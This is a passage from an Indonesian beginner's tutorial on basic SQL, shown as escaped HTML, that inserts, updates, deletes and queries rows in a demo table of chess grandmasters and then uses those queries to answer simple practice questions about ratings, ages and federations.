&lt;/span&gt;&lt;span&gt;2751&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;2003-06-18&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;FRA&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Wesley So&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2751&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;1993-10-9&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;USA&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Hasilnya sama saja. Kita bisa melihat data-data yang baru saja di-&lt;em&gt;input&lt;/em&gt;-kan ke dalam tabel &lt;strong&gt;“Chess Grandmaster”&lt;/strong&gt; tersebut dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; * &lt;/span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Menambahkan data ke dalam tabel&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;986&quot; src=&quot;/_astro/ss17.DcplkX0u_2nDPkH.webp&quot; /&gt;&lt;figcaption&gt;Menambahkan data ke dalam tabel&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;br /&gt;
Perhatikan bahwa saya tidak memasukkan nomor urut di kolom id, tapi nomor langsung di-&lt;em&gt;generate&lt;/em&gt; karena di awal pembuatan tabel, kita sudah mendefinisikan kolom id sebagai data &lt;em&gt;integer&lt;/em&gt; yang “AUTO INCREMENT” dan juga berfungsi sebagai PRIMARY KEY.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Mengubah Data Dalam Tabel&lt;a href=&quot;#mengubah-data-dalam-tabel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Misalnya, saya akan mengubah data Wesley So, dimana&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;namanya akan saya ubah menjadi “Wesley Jo”,&lt;/li&gt;
&lt;li&gt;elo rating-nya akan saya ubah menjadi “2750”, dan&lt;/li&gt;
&lt;li&gt;federasinya akan ubah ke “PHI”.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;UPDATE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SET&lt;/span&gt;&lt;span&gt;&lt;span&gt; nama &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;Wesley Jo&apos;&lt;/span&gt;&lt;span&gt;&lt;span&gt;, elo &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;2750&lt;/span&gt;&lt;span&gt;&lt;span&gt;, federation &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;PHI&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt;&lt;span&gt; nama &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;Wesley So&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Mengubah data di dalam tabel&quot; loading=&quot;lazy&quot; width=&quot;654&quot; height=&quot;925&quot; src=&quot;/_astro/ss18.DOztmvFP_16oPIy.webp&quot; /&gt;&lt;figcaption&gt;Mengubah data di dalam tabel&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Menghapus Data Dalam Tabel&lt;a href=&quot;#menghapus-data-dalam-tabel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, saya ingin menghapus data &lt;strong&gt;“Wesley Jo”&lt;/strong&gt; dalam tabel “Chess Grandmaster”, perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;DELETE&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt;&lt;span&gt; nama &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;Wesley Jo&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Mengubah data Wesley So dari tabel&quot; loading=&quot;lazy&quot; width=&quot;654&quot; height=&quot;858&quot; src=&quot;/_astro/ss19.DBiLHrlq_dlDaQ.webp&quot; /&gt;&lt;figcaption&gt;Mengubah data Wesley So dari tabel&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Mengambil / Menampilkan Data dari Tabel&lt;a href=&quot;#mengambil--menampilkan-data-dari-tabel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pengambilan data dari tabel dapat dilakukan dengan berbagai cara, menyesuaikan dengan kebutuhan data yang ingin kita ambil. Beberapa cara pengambilan data dari tabel yang akan saya bahas di artikel ini dapat dilakukan dengan 5 cara:               |&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menampilkan seluruh data&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Untuk menampilkan seluruh data pada kolom yang terdapat di dalam tabel, perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; * &lt;/span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Menampilkan seluruh tabel&quot; loading=&quot;lazy&quot; width=&quot;664&quot; height=&quot;438&quot; src=&quot;/_astro/ss20.BenMnE7__Z1C4mkR.webp&quot; /&gt;&lt;figcaption&gt;Menampilkan seluruh tabel&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menampilkan kolom tertentu&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Jika misalnya saya hanya ingin menampilkan kolom “nama” dan “elo” saja, maka perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; nama, elo &lt;/span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Menampilkan kolom nama dan elo saja&quot; loading=&quot;lazy&quot; width=&quot;496&quot; height=&quot;432&quot; src=&quot;/_astro/ss21.DaCLb8Ce_Z1TwhlC.webp&quot; /&gt;&lt;figcaption&gt;Menampilkan kolom nama dan elo saja&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menggunakan kondisi untuk memfilter data&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Misalnya, saya hanya ingin menampilkan Grandmaster yang memiliki elo di atas 2770 saja, perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; * &lt;/span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt;&lt;span&gt; elo &lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;2770&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Memfilter data yang tampil dengan kondisi elo &amp;gt; 2770&quot; loading=&quot;lazy&quot; width=&quot;570&quot; height=&quot;348&quot; src=&quot;/_astro/ss22.B6mRhMZA_vLxEt.webp&quot; /&gt;&lt;figcaption&gt;Memfilter data yang tampil dengan kondisi elo &amp;gt; 2770&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Mengurutkan hasil Query&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kita bisa mengurutkan data yang akan ditampilkan, baik mengurutkan secara ASC (&lt;em&gt;ascending&lt;/em&gt; / rendah ke tinggi) maupun DESC (&lt;em&gt;descending&lt;/em&gt; / tinggi ke rendah). Misalnya saya ingin mengurutkan data Grandmaster dari elo terendah, perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; * &lt;/span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; elo &lt;/span&gt;&lt;span&gt;ASC&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Mengurutkan hasil query secara ASC&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;461&quot; src=&quot;/_astro/ss23.OEcq6SL6_Z1R8FBv.webp&quot; /&gt;&lt;figcaption&gt;Mengurutkan hasil query secara ASC&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Membatasi data yang tampil&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Jika kita hanya ingin menampilkan beberapa data, kita bisa melakukannya dengan menggunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; * &lt;/span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; elo &lt;/span&gt;&lt;span&gt;ASC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LIMIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Melimit jumlah data yang akan ditampilkan&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;352&quot; src=&quot;/_astro/ss24.BehgRc5a_hpO68.webp&quot; /&gt;&lt;figcaption&gt;Melimit jumlah data yang akan ditampilkan&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Menjawab Soal-soal Database&lt;a href=&quot;#menjawab-soal-soal-database&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kita sudah membuat database &lt;strong&gt;chessgm&lt;/strong&gt; yang memiliki sebuah tabel, &lt;strong&gt;Chess Grandmaster&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Sekarang, kita akan menjawab beberapa pertanyaan menggunakan perintah-perintah SQL yang sudah dibahas sebelumnya. Pertanyaan atau soal-soal yang akan dijawab akan merujuk pada tabel dan database yang sudah kita dibuat tersebut. Berikut adalah pertanyaan-pertanyaan yang perlu dijawab:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Siapakah GM yang &lt;em&gt;&lt;strong&gt;paling tinggi&lt;/strong&gt;&lt;/em&gt; &amp;amp; &lt;em&gt;&lt;strong&gt;paling rendah&lt;/strong&gt;&lt;/em&gt; ELO rating-nya?&lt;/li&gt;
&lt;li&gt;Siapakah GM yang &lt;em&gt;&lt;strong&gt;paling tua&lt;/strong&gt;&lt;/em&gt; dan &lt;em&gt;&lt;strong&gt;paling muda&lt;/strong&gt;&lt;/em&gt; umurnya?&lt;/li&gt;
&lt;li&gt;Berapakah jumlah GM yang berasal dari (federasi) Amerika dan China?&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Mari kita jawab…&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Siapakah GM yang &lt;em&gt;&lt;strong&gt;paling tinggi&lt;/strong&gt;&lt;/em&gt; &amp;amp; &lt;em&gt;&lt;strong&gt;paling rendah&lt;/strong&gt;&lt;/em&gt; ELO rating-nya?&lt;a href=&quot;#1-siapakah-gm-yang-paling-tinggi--paling-rendah-elo-rating-nya&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mencari GM dengan ELO rating paling tinggi, kita bisa menggunakan query berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; elo &lt;/span&gt;&lt;span&gt;DESC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LIMIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya akan menunjukkan &lt;strong&gt;Magnus Carlsen&lt;/strong&gt; sebagai GM dengan ELO rating tertinggi:&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;442&quot; height=&quot;310&quot; src=&quot;/_astro/ss25.Dthmgfz7_27aodF.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk mencari GM dengan ELO rating paling rendah, kita bisa menggunakan query berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; elo &lt;/span&gt;&lt;span&gt;ASC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LIMIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya akan menunjukkan &lt;strong&gt;Wesley So&lt;/strong&gt; sebagai GM dengan ELO rating terendah:&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;394&quot; height=&quot;295&quot; src=&quot;/_astro/ss26.BfDA0J3f_29OMD9.webp&quot; /&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;481&quot; height=&quot;357&quot; src=&quot;/_astro/ss27.TyUzCsU-_Z1fORvw.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Query tersebut tentu memiliki batasan, yaitu kita hanya bisa mendapatkan satu nama saja, meskipun misalnya GM di dalam database yang memiliki ELO terendah ada lebih dari 1 orang. Tapi, tujuan dari soal-soal ini adalah untuk mempraktikkan kembali pelajaran-pelajaran tentang query dasar SQL yang sudah saya jelaskan sebelumnya. Jadi, untuk hasil yang lebih presisi, tentu ada perintah atau query SQL yang lebih sesuai yang akan kita pelajar next time …&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Siapakah GM yang &lt;em&gt;&lt;strong&gt;paling tua&lt;/strong&gt;&lt;/em&gt; dan &lt;em&gt;&lt;strong&gt;paling muda&lt;/strong&gt;&lt;/em&gt; umurnya?&lt;a href=&quot;#2-siapakah-gm-yang-paling-tua-dan-paling-muda-umurnya&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mencari GM yang paling senior, kita bisa menggunakan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; birth &lt;/span&gt;&lt;span&gt;ASC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LIMIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya akan menunjukkan &lt;strong&gt;Hikaru Nakamura&lt;/strong&gt; sebagai GM yang paling senior:&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;438&quot; height=&quot;252&quot; src=&quot;/_astro/ss28.CqcqsLUa_1s54mk.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Begitu juga dengan GM yang paling junior, kita bisa menggunakan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; birth &lt;/span&gt;&lt;span&gt;DESC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LIMIT&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya akan menunjukkan Gukesh Dommaraju sebagai GM yang paling junior:&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;445&quot; height=&quot;249&quot; src=&quot;/_astro/ss29.6hhV7CHS_ZrXkIj.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Berapakah jumlah GM yang berasal dari (federasi) Amerika dan China?&lt;a href=&quot;#berapakah-jumlah-gm-yang-berasal-dari-federasi-amerika-dan-china&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mencari GM yang berasal dari federasi Amerika, kita bisa menggunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Chess Grandmaster`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt;&lt;span&gt; fed &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 